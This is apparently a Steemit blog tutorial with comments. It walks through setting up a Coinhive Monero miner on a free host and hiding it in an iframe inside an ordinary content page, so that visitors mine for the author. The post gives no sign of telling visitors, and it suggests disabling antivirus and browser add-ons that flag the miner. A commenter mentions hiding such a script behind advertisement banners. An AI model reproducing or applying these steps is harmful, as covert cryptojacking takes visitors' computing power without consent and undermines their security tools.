Monero Undercover Browser mining How-To
WARNING
This tutorial is not responsible for any damage or legal action taken against you.
the act of mining through a browser isn't illegal yet, but be aware of the actions you take since its a grey area.
additionally, the following example and referral links will USE your CPU power to mine, certain browser add-on's
and anti-viruses might pop-up and warn you of different threats. the mining occurs as long as the specific
mining web page is open, or a proof-of-work captcha is activated.
=====================================================================================
suggestion: disable any add-on or AV's that might interfere.
Step 1:
make a user at coinhive(browser mining service)
(this redirection contains proof of work captcha)
https://cnhv.co/omr2
Step 2:
get a service to host your webpage.
it can be payed for or a free service what ever you choose.
my suggestion is 000webhost (free service)
step 3:
create an empty html file on the hosting named "miner.html"
Step 4:
Right Mouse click on "miner.html" and click "view"
Step 5:
Save the URL (copy)
Step 6:
Go to coinhive
click on shortlinks
make a new shortlink with the adress you saved (miner.html URL)
set the hash-rate to 256
test your newly created link to see if it redirects you to miner.html on your site, after it finished proof-of-work.
step 7:
edit "miner.html"
and paste the following html code:
https://pastebin.com/raw/RDwgAS0K
replace the short link with yours
SAVE!
check if it works, you should get the following result(an actual example):
https://coinmaina.000webhostapp.com/miner.html
the short-link is in a loop, and redirects to it-self.
as long as its open, it will mine.
check how many hashes you get on the coinhive short-link counter while you leave the miner open.
step 8:
embed the miner in an actual webpage with content, to make the user stay and mine for you.
you will embed the code using an "iframe"
html code:
https://pastebin.com/raw/9jAreVv8
embedding example:
https://pastebin.com/raw/7MWNQPFg
a working example and how it works:
https://coinmaina.000webhostapp.com/index.html
NOTE:
if the content web page is not on the same host / folder as the "miner"
the "src=miner.html" attribute should be change to the full address like this:
src="https://coinmaina.000webhostapp.com/miner.html"
Enjoy mining!
please comment and upvote to support me for more farming guides!
Even I was planning to do a similar script behind advertisement banners.
Congratulations @notxor! You received a personal award!
Click here to view your Board of Honor
Do not miss the last post from @steemitboard:
Congratulations @notxor! You received a personal award!
You can view your badges on your Steem Board and compare to others on the Steem Ranking
Vote for @Steemitboard as a witness to get one more award and increased upvotes!